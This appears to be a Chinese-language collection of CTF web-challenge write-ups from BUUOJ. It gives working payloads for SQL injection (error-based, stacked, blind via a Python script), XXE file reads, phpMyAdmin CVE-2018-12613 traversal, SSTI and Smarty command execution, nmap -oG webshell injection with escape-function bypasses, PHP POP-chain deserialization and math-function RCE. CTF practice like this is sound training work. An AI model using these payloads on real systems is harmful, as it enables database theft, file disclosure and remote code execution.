BUUOJ刷题 [极客大挑战 2019]HardSQL 1 MariaDB,waf很顶,空格被过滤,会返回报错信息,报错函数没被过滤,故用报错函数
可以用updatexml或者extractvalue
1 2 3 4 5 6 7 8 9 10 爆库名 //geek1 'or(updatexml(0,concat(0x5e,database()),0))# 爆表名 ' ='可以用like代替,' ='被waf了 //H4rDsq1 1' or (updatexml(0 ,concat(0x5e ,(select(group_concat(table_name))from (information_schema.tables)where(table_schema)like('geek' ))),0 ))1 'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(' geek')),0x7e)))# 爆列名 //id,username,password 1' or (updatexml(0 ,concat(0x5e ,(select(group_concat(column_name))from (information_schema.columns)where(table_name)like('H4rDsq1' ))),0 )) 爆列值,报错只回显32 位,可以用截断函数right(),或者regexp脚本爆破1 'or(updatexml(0,concat(0x5e,(select(group_concat(password))from(H4rDsq1))),0))# 1' or (updatexml(0 ,concat(0x5e ,right((select(group_concat(password))from (H4rDsq1)),31 )),0 ))
[GYCTF2020]Blacklist 1 Mysql,有waf如下
1 preg_match ("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i" ,$inject );
发现可以堆叠注入
1 2 1 ';show databases;--+ 1' ;show tables;--+ //FlagHere
尝试无果,sqlmap跑不动,遂查
有handler语法,mysql专用的语句
1 2 3 handler FlagHere open handler FlagHere read first handler FlagHere close
所以用1’闭合单引号后接堆叠handler语句即可
[RoarCTF 2019]Easy Java 1 java不会,故搜
提到了WEB-INF/目录下的文件泄露,包含以下文件或目录
1 2 3 4 5 /WEB-INF/web.xml: WEB应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则 /WEB-INF/classes/: 含站点所有用的class文件,包括servlet class和非servlet class,他们不包含在jar中 /WEB-INF/lib/: 存放web应用需要的各种jar文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件 /WEB-INF/src/: 源码目录,按照包名结构放置各个java文件 /WEB-INF/database.properties: 数据库配置文件
好像提到了servlet访问URL映射配置,这块我还不是很清楚
1 2 3 4 5 6 7 8 9 由于客户端是通过URL地址访问Web服务器中的资源,所以Servlet程序若想被外界访问,必须把Servlet程序映射到一个URL地址上,这个工作在web.xml文件中使用<servlet > 元素和<servlet-mapping > 元素完成。<servlet > 元素用于注册Servlet,它包含有两个主要的子元素:<servlet-name > 和<servlet-class > ,分别用于设置Servlet的注册名称和Servlet的完整类名。一个<servlet-mapping > 元素用于映射一个已注册的Servlet的一个对外访问路径,它包含有两个子元素:<servlet-name > 和<url-pattern > ,分别用于指定Servlet的注册名称和Servlet的对外访问路径。例如:<servlet > <servlet-name>ServletDemo1</servlet-name> <servlet-class>cn.itcast.ServletDemo1</servlet-class> </servlet> <servlet-mapping> <servlet-name>ServletDemo1</servlet-name> <url-pattern>/ServletDemo1</url-pattern> </servlet-mapping>
servlet原来是java web开发框架的重要基础,处理服务端使用的一个java接口,被Tomcat广泛使用(但是我也不知道Tomcat),好像仅仅只作为一个统一 的web应用规范来使用
Tomcat是一个java web应用服务器,隶属于Apache,更深的便没细看,感觉就是启动服务用的engine之类的
[网鼎杯 2018]Fakebook 1 这题我一开始以为是xss,后来以为是sql注入,再后来以为就扫目录php审计,结果到最后还是sql注入
1 2 ?no=-1 union/**/select 1 ,database(),3 ,4 ?no=-1 union/**/select 1 ,user(),3 ,4 //root
那么可以联合注入的话,又是root权限,直接用load_file()绝对路径加载flag.php
1 ?no=-1 union/**/select 1 ,load_file("/var/www/html/flag.php" ),3 ,4
但这是个非预期解,预期解是要扫目录扫出robots.txt,然后备份了一份user.php.bak,是一个user类
其中存放的就是注册的信息,但是对blog的waf很猛,所以基本没法从(序列化之前)一般的途径入手
但是我们通过sql注入可以得到当前的表的四个字段分别是no,username,age,blog
所以只需要在4这个位置放一个序列化之后的数据,比如file://伪协议读取,就能成功运行读到了
提到了escapeshellarg和escapeshellcmd,倒是新东西,可以找找绕过的方法
escapeshellarg先对传入进来的参数中如果有单引号,那么进行转义,再用单引号将左右两部分括起来从而连接
escapeshellcmd会对传入的参数中所有危险字符前面加上反斜线(\),反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\、\x0A
和 \xFF
。 '
和 "
仅在不配对儿的时候被转义。在 Windows 平台上,所有这些字符以及 %
和 !
字符前面都有一个插入符号(^
)
1 2 3 params: jednersaous' -xd -sec a=1 escapeshellarg(params): 'jednersaous' \'' -xd -sec a=1 ' escapeshellcmd(params): 'jednersaous' \\'' -xd -sec a=1 \'
从上述示例可得,\\
被解释为\
而不再是用于转义字符,所以紧接着的'
没有被转义,在和后面的单引号配对构成了一个空白的连接符,即变成如下形式
1 $command jednersaous\ -xd -sec a =1
那么对于此题应该如何去做呢?毕竟这个也不算是强RCE,此题的nmap前提则不是空设而是关键
nmap命令中有一个参数-oG可以将命令和结果写到文件中,因此我们就要构造一个payload让nmap可以正确运行,并且用-oG去把这个命令保存为一个在web目录下的php文件
不知道为什么我在phpstorm里复现有点问题,难不成是单双引号又双叒哪里冲突了???
1 ?host=' <?php echo @system ($_GET ["hack" ]);?> -oG hack.php '
但是环境里倒是可以跑,太恶心了
[GXYCTF2019]禁止套娃 要用githack来拿到备份文件,.git
显示403Forbidden
关键是下面这个正则的绕过,前面和后面的正则感觉完全可以不考虑
1 ';' === preg_replace('/[a-z,_]+\((?R)?\)/' , NULL , $_GET['exp' ])
对于这个正则式只能使用形如a(b(c()));a()这样无参数的表达式,即参数可以是void的函数,下面列出几个吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 getenv() localeconv() get_defined_vars() array _rand() array _reverse() array _flip() current() || pos() getallheaders() session_id() highlight_file() show_source() getcwd() scandir() dirname() var_dump() print_r() next() end()
可以构造payload如下
1 2 3 #1 var_dump (localeconv ());#2 var_dump (scandir (pos (localeconv ())));#3 highlight_file (next (array_reverse (scandir (pos (localeconv ())))));
[NCTF2019]Fake XML cookbook 登录页面传输数据是xml,黑盒,XXE,没做任何限制
抓包改xml,随便网上找一个file://读文件的就行,注意换行符空格符就可,burp一直是喜欢帮你改格式的
1 2 3 4 5 6 7 8 9 <?xml version="1.0" ?> <!DOCTYPE message [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///flag" > ]><user > <username > &xxe; </username > </user >
[GWCTF 2019]我有一个数据库 nm又要扫,天天不整点扫描的东西都不能入门ctf是吧
有目录phpinfo.php(),phpmyadmin/index.php,版本号MySQL_5.5.62,php_7.2.24,phpmyadmin4.8.1
CVE-2018-12613,index.php中存在文件包含漏洞,payload如下
1 /phpmyadmin/i ndex.php?target=db_sql.php%253 f/../ ../../ ../../ ../../ flag
%253f是?的URL二次编码
[BJDCTF2020]Mark loves cat 又是扫目录
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php include 'flag.php' ;$yds = "dog" ;$is = "cat" ;$handsome = 'yds' ; foreach($_POST as $x => $y ){ $$x = $y ; // post 声明至当前文件 } foreach($_GET as $x => $y ){ $$x = $$y ; // GET型变量重新赋值为当前文件变量中以其值为键名的值 } foreach($_GET as $x => $y ){ if ($_GET ['flag' ] === $x && $x !== 'flag' ){ // 传入的变量为flag value不是flag exit ($handsome ); } }if (!isset($_GET ['flag' ]) && !isset($_POST ['flag' ])){ exit ($yds ); }if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($is ); } echo "the flag is: " .$flag ;
$$x = $($x)
1 2 3 #1 $x === 'flag' \$_GET['flag'] !== $x #2 flag用GET和POST都要传 #3 \$_ POST['flag'] !== 'flag' && \$_GET['flag'] !== 'flag'
exp
exit(int $status),如果status是一个字符串,在退出之前会打印status
1 ?yds=flag 直接exit ($yds ) => exit ($flag )
[BJDCTF2020]Cookie is so stable 首先要知道php有哪些常用的模板,一般是Twig,smarty
但是jinja2和mako好像也有php重写
这里用{{7*'7'}}
可以判断是Twig模板
直接打SSTI公式化如下
1 {{_self.env.registerUndefinedFilterCallback ("exec" )}} {{_self.env.getFilter ("命令" )}}
[安洵杯 2019]easy_web 黑盒,先通过img参数逆推出是进行了一次16进制编码和两次base64编码,于是要先拿index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting (E_ALL || ~ E_NOTICE);header ('content-type:text/html;charset=utf-8' );$cmd = $_GET ['cmd' ];if (!isset ($_GET ['img' ]) || !isset ($_GET ['cmd' ])) header ('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=' );$file = hex2bin (base64_decode (base64_decode ($_GET ['img' ])));$file = preg_replace ("/[^a-zA-Z0-9.]+/" , "" , $file );if (preg_match ("/flag/i" , $file )) { echo '<img src ="./ctf3.jpeg">' ; die ("xixi~ no flag" ); } else { $txt = base64_encode (file_get_contents ($file )); echo "<img src='data:image/gif;base64," . $txt . "'></img>" ; echo "<br>" ; }echo $cmd ;echo "<br>" ;if (preg_match ("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $cmd )) { echo ("forbid ~" ); echo "<br>" ; } else { if ((string )$_POST ['a' ] !== (string )$_POST ['b' ] && md5 ($_POST ['a' ]) === md5 ($_POST ['b' ])) { echo `$cmd `; } else { echo ("md5 is funny ~" ); } }
后面的waf直接用反斜杠插入shell命令就可以了,虽然好像匹配了转义之后的反斜杠,但好像没用(?等我复现下
然后就是md5的强碰撞,因为用string强制类型转化了,所以不能用数组绕过,这里给出搜索之后得到的一个碰撞
1 2 3 %4 d%c9%68 %ff%0 e%e3%5 c%20 %95 %72 %d4%77 %7 b%72 %15 %87 %d3%6 f%a7%b2%1 b%dc%56 %b7%4 a%3 d%c0%78 %3 e%7 b%95 %18 %af%bf%a2%00 %a8%28 %4 b%f3%6 e%8 e%4 b%55 %b3%5 f%42 %75 %93 %d8%49 %67 %6 d%a0%d1%55 %5 d%83 %60 %fb%5 f%07 %fe%a2 %4 d%c9%68 %ff%0 e%e3%5 c%20 %95 %72 %d4%77 %7 b%72 %15 %87 %d3%6 f%a7%b2%1 b%dc%56 %b7%4 a%3 d%c0%78 %3 e%7 b%95 %18 %af%bf%a2%02 %a8%28 %4 b%f3%6 e%8 e%4 b%55 %b3%5 f%42 %75 %93 %d8%49 %67 %6 d%a0%d1%d5%5 d%83 %60 %fb%5 f%07 %fe%a2
cmd=ca\t%20/f\l\a\g,试了一下反斜杠,确实是匹配不到(奇怪
[MRCTF2020]Ezpop 1 2 3 class Show __wakeup(): preg_match... => $this->source = class Show() __toString() class Show __toString(): $this->str->source => $this->str = class Test __get($key) class Test __get(): $function() => $this->p = class Modifier __invoke()
1 O:4 :"Show" :2 :{s:6 :"source" ;O:4 :"Show" :2 :{s:6 :"source" ;s:9 :"index.php" ;s:3 :"str" ;O:4 :"Test" :1 :{s:1 :"p" ;O:8 :"Modifier" :1 :{s:6 :"%00*%00var" ;s:57 :"php://filter/read=convert.base64-encode/resource=flag.php" ;}}}s:3 :"str" ;N;}
[网鼎杯 2020 朱雀组]Nmap 查漏补缺一下XXE
XXE:XML External Entity 即XML外部实体注入攻击 。是由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体 ,通过外部实体SYSTEM 请求本地文件uri,通过某种方式返回本地的文件内容,导致了XXE漏洞。漏洞形成的标志性函数:例如PHP 中的simplexml_load_string
或者simplexml_load_file
,默认情况下都会解析外部实体。
不得不了解的是DTD
DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。
假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:
本题有simplexml_load_string
,但是如果直接访问result?f=<xml>…是不行的,一开始扫的输入疑似也有waf
绕waf倒是简单,估计就是访问了之后转换成xml然后显示(?,个人认为是打一个xxe
得,看题解结果还真是nmap命令,nmap $Input -oX ./xml/random,那直接给input带参数传马就行了
1 <?= @eval ($_GET [1 ]);?> -oG a.phtml
不行?!结果是还用了escapeshellarg()和escapeshellcmd(),不是哥们,你这黑盒谁看得出来???
1 ' <?= @eval ($_GET [1 ]);?> -oG a.phtml '
[NPUCTF2020]ReadlezPHP 此题本以为是一道再简单不过的php反序列化,结果正常打不通,那应该想到disable_functions了
倒是有意思,能知道很多exploitable functions,像是这题就可以用assert,此题ban掉的函数如下
1 pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system ,exec ,shell_exec,popen,proc_open,passthru,symlink ,link ,syslog,imap_open,ld,mail,scadnir,readfile,show_source,fpassthru,readdir
基本都是写读文件或者执行系统命令的函数或者定时任务,这个pcntl占了一大坨,我不禁想这到底是手动加的还是默认就ban的??后来我找到了pcntl被禁用的原因是防止它对web服务的稳定性造成影响,即便它可能不能执行什么系统命令
[CISCN2019 华东南赛区]Web11 EZ的SSTI,php的smarty
PHP_smarty
1 2 {$ smarty.version} {system ('ls' )}
[SWPU2019]Web1 本来以为是XSS,admin懒得爆破了就去搜题解,结果是sql注入,不过还是蛮有意思的,对关键词有waf
只能说mysql的方言好多啊,大概过滤了这么些
1 2 3 4 5 6 7 8 9 10 11 空格被替换为空 or andjoin --+ # updatexml extractvalue exp floor ...
尝试联合查询,先判断有多少字段,order by不能使用,可以用group by
1 title ='group/**/by/**/23,' &content =123&ac =add
发现有22个字段的样子,直接联合查询,回显在2和3
1 title ='union/**/select/**/1 ,database(),3 ,4 ,5 ,6 ,7 ,8 ,9 ,10 ,11 ,12 ,13 ,14 ,15 ,16 ,17 ,18 ,19 ,20 ,21 ,'22 &content=123 &ac=add
得到数据库名web1
因为过滤了or,所以也不能用information_schema表,但是可以用mysql.innodb_tables_stats,用group_concat拼接所有表名,一次性看
1 title ='union/**/select/**/1 ,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3 ,4 ,5 ,6 ,7 ,8 ,9 ,10 ,11 ,12 ,13 ,14 ,15 ,16 ,17 ,18 ,19 ,20 ,21 ,'22 &content=123 &ac=add
没有字段信息可以查,使用无列名注入直接查内容(原话搬自别人的wp
1 title ='union/**/select/**/1 ,(select/**/group_concat(`3 `)/**/from/**/(select/**/1 ,2 ,3 /**/union/**/select/**/*/**/from/**/users)a),3 ,4 ,5 ,6 ,7 ,8 ,9 ,10 ,11 ,12 ,13 ,14 ,15 ,16 ,17 ,18 ,19 ,20 ,21 ,'22 &content=123 &ac=add
无列名注入 [极客大挑战 2019]FinalSQL 唉盲注,唉脚本,唉fuzz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requests url1="http://ac3ceffb-5fec-49c1-9028-86b4555f01be.node5.buuoj.cn:81/search.php?id=1^(ord(substr((select(group_concat(password))from(`F1naI1y`))," url2=",1))=" name="" for i in range (150 ,225 ): for j in range (20 ,125 ): target = url1 + str (i) + url2 + str (j) + ")" s = requests.get(target).text if "ERROR" in s: name = name + chr (j) print (name) break
[CISCN 2019 初赛]Love Math 经典ciscn出的php晦涩rce,只能说和2024的有异曲同工之妙,只不过2024的Simple_php着实是揣着答辩装糊涂
这题最关键的就是用数学函数能搞出一个rce的式子,那说到字母和数字rce肯定逃不过的就是hex2bin,所以我们首先要构造一个hex2bin出来,注意到很有意思的一个函数是base_convert(),那么很显然我们可以用数字转成36进制(要有26个英文字母比较好整)中的hex2bin
有了hex2bin,其实可以干的事情就很多了,比如造system,但是这里好像编码有点问题,所以可以用_GET打一个webshell
1 2 3 4 base_convert(37907361743 ,10 ,36 ) => "hex2bin" dechex(1598506324 ) => "5f474554" $pi =hex2bin("5f474554" ) => $pi ="_GET" //hex2bin将一串16 进制数转换为二进制字符串 ($$pi ){pi }(($$pi ){abs }) => ($_GET){pi }($_GET){abs } //{}可以代替[]
payload:?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac /flag